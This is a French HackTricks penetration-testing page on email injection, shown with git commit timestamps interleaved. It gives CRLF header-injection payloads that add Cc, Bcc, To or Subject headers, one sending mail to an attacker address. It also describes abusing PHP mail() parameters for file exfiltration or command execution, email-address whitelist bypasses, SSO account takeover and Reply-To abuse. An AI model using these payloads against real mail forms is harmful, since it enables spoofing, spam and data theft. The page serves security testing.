hacktricks/pentesting-web/email-injections.md

169 lines
10 KiB
Markdown
Raw Normal View History

# Injections par e-mail
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui à :
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
2022-04-28 16:01:33 +00:00
</details>
## Injecter dans l'e-mail envoyé
2023-06-03 13:10:46 +00:00
### Injecter Cc et Bcc après l'argument de l'expéditeur
2021-11-27 01:09:08 +00:00
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
Le message sera envoyé aux comptes destinataire et destinataire1.
### Injecter l'argument
2021-11-27 01:09:08 +00:00
```
From:sender@domain.com%0ATo:attacker@domain.com
```
### Injecter l'argument Sujet
2023-06-03 13:10:46 +00:00
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
### Changer le corps du message
Injectez un saut de ligne à deux lignes, puis écrivez votre message pour changer le corps du message.
2021-11-27 01:09:08 +00:00
```
2023-06-03 13:10:46 +00:00
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### Exploitation de la fonction mail() PHP
2021-11-27 01:09:08 +00:00
```bash
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
2021-11-27 01:09:08 +00:00
}
```
#### 5ème paramètre ($additional\_parameters)
2021-11-27 01:09:08 +00:00
Cette section va se baser sur **comment abuser de ce paramètre en supposant qu'un attaquant le contrôle**.
2021-11-27 01:09:08 +00:00
Ce paramètre sera ajouté à la ligne de commande que PHP utilisera pour invoquer le binaire sendmail. Cependant, il sera nettoyé avec la fonction `escapeshellcmd($additional_parameters)`.
2021-11-27 01:09:08 +00:00
2023-06-03 13:10:46 +00:00
Un attaquant peut **injecter des paramètres supplémentaires pour sendmail** dans ce cas.
2021-11-27 01:09:08 +00:00
#### Différences dans l'implémentation de /usr/sbin/sendmail
2021-11-27 01:09:08 +00:00
L'interface **sendmail** est **fournie par le logiciel de messagerie MTA** (Sendmail, Postfix, Exim, etc.) installé sur le système. Bien que la **fonctionnalité de base** (comme les paramètres -t -i -f) reste la **même** pour des raisons de compatibilité, **d'autres fonctions et paramètres** varient grandement en fonction du MTA installé.
2021-11-27 01:09:08 +00:00
2023-06-03 13:10:46 +00:00
Voici quelques exemples de différentes pages de manuel de la commande/interface sendmail :
2021-11-27 01:09:08 +00:00
2023-06-03 13:10:46 +00:00
* Sendmail MTA : http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA : http://www.postfix.org/mailq.1.html
* Exim MTA : https://linux.die.net/man/8/eximReferences
2021-11-27 01:09:08 +00:00
Selon l'**origine du binaire sendmail**, différentes options ont été découvertes pour les abuser et **exfiltrer des fichiers ou même exécuter des commandes arbitraires**. Consultez comment faire sur [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
2021-11-27 01:09:08 +00:00
## Injection dans le nom de l'e-mail
2022-12-29 12:18:46 +00:00
2023-06-03 13:10:46 +00:00
### Parties ignorées d'un e-mail
2022-12-29 12:18:46 +00:00
Les symboles : **+, -** et **{}** peuvent être utilisés pour le marquage et ignorés par la plupart des serveurs de messagerie dans des cas rares
2022-12-29 12:18:46 +00:00
* Par exemple, john.doe+intigriti@example.com → john.doe@example.com
2022-12-29 12:18:46 +00:00
Les **commentaires entre parenthèses ()** au début ou à la fin seront également ignorés
2022-12-29 12:18:46 +00:00
* Par exemple, john.doe(intigriti)@example.com → john.doe@example.com
2022-12-29 12:18:46 +00:00
### Contournement de la liste blanche
2022-12-29 12:18:46 +00:00
<figure><img src="../.gitbook/assets/image (4) (6).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
2022-12-29 12:18:46 +00:00
2023-06-03 13:10:46 +00:00
### Guillemets
2022-12-29 12:18:46 +00:00
<figure><img src="../.gitbook/assets/image (6) (4).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
2022-12-29 12:18:46 +00:00
### Adresses IP
2022-12-29 12:18:46 +00:00
Vous pouvez également utiliser des adresses IP comme nom de domaine entre crochets :
2022-12-29 12:18:46 +00:00
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
2023-06-03 13:10:46 +00:00
### Autres vulnérabilités
2022-12-29 12:18:46 +00:00
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (296).png>)
2022-12-29 12:18:46 +00:00
## SSO tiers
2022-12-29 12:18:46 +00:00
### XSS
Certains services comme **github** ou **salesforce permettent** de créer une **adresse e-mail avec des charges XSS**. Si vous pouvez **utiliser ces fournisseurs pour vous connecter à d'autres services** et que ces services ne **nettoient pas correctement** l'e-mail, vous pourriez causer **XSS**.
2022-12-29 12:18:46 +00:00
2023-06-03 13:10:46 +00:00
### Prise de contrôle de compte
2022-12-29 12:18:46 +00:00
Si un **service SSO** vous permet de **créer un compte sans vérifier l'adresse e-mail fournie** (comme **salesforce**) et que vous pouvez ensuite utiliser ce compte pour **vous connecter à un autre service** qui **fait confiance** à salesforce, vous pourriez accéder à n'importe quel compte.\
Notez que salesforce indique si l'e-mail fourni a été vérifié ou non, donc l'application devrait tenir compte de cette information.
2022-12-29 12:18:46 +00:00
## Répondre à
2022-12-29 12:18:46 +00:00
Vous pouvez envoyer un e-mail en utilisant _**De : entreprise.com**_ et _**Répondre à : attaquant.com**_ et si une **réponse automatique** est envoyée parce que l'e-mail a été envoyé **depuis** une **adresse interne**, l'**attaquant** pourrait être en mesure de **recevoir** cette **réponse**.
2022-12-29 12:18:46 +00:00
## Taux de rebond dur
2022-12-29 12:18:46 +00:00
Certains services, comme AWS, mettent en place un seuil connu sous le nom de **Taux de rebond dur**, généralement fixé à 10%. Il s'agit d'une mesure critique, notamment pour les services de livraison d'e-mails. Lorsque ce taux est dépassé, le service, tel que le service e-mail d'AWS, peut être suspendu ou bloqué.
Un **rebond dur** fait référence à un **e-mail** qui a été renvoyé à l'expéditeur car l'adresse du destinataire est invalide ou n'existe pas. Cela peut se produire pour diverses raisons, telles que l'envoi de l'e-mail à une adresse inexistante, un domaine qui n'est pas réel, ou le refus du serveur du destinataire d'accepter des **e-mails**.
Dans le contexte d'AWS, si vous envoyez 1000 e-mails et que 100 d'entre eux entraînent des rebonds durs (en raison de raisons telles que des adresses ou des domaines invalides), cela signifierait un taux de rebond dur de 10%. Atteindre ou dépasser ce taux peut déclencher le blocage ou la suspension par AWS SES (Simple Email Service) de vos capacités d'envoi d'e-mails.
2022-12-29 12:18:46 +00:00
Il est crucial de maintenir un faible taux de rebond dur pour garantir un service e-mail ininterrompu et maintenir la réputation de l'expéditeur. La surveillance et la gestion de la qualité des adresses e-mail dans vos listes de diffusion peuvent grandement aider à atteindre cet objectif.
2022-12-29 12:18:46 +00:00
Pour des informations plus détaillées, la documentation officielle d'AWS sur la gestion des rebonds et des plaintes peut être consultée sur [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
2022-12-29 12:18:46 +00:00
2023-06-03 13:10:46 +00:00
## Références
2021-11-27 01:09:08 +00:00
2022-12-29 12:18:46 +00:00
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
2022-04-28 16:01:33 +00:00
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe Telegram](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui :
2022-04-28 16:01:33 +00:00
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}